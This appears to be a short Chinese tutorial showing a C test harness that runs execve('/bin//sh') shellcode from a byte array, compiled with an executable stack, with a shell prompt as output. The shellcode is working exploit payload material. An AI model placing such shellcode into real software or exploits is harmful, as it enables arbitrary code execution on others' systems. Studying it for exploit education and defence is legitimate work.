1.源码实现
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char sc[] = "\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";
int main()
{
void (*fp)(void);
fp = (void *)sc;
fp();
return 0;
}
2.编译源码
$ gcc -z execstack -o example example.c
3.运行程序
$ ./example
sh-4.1$
网友评论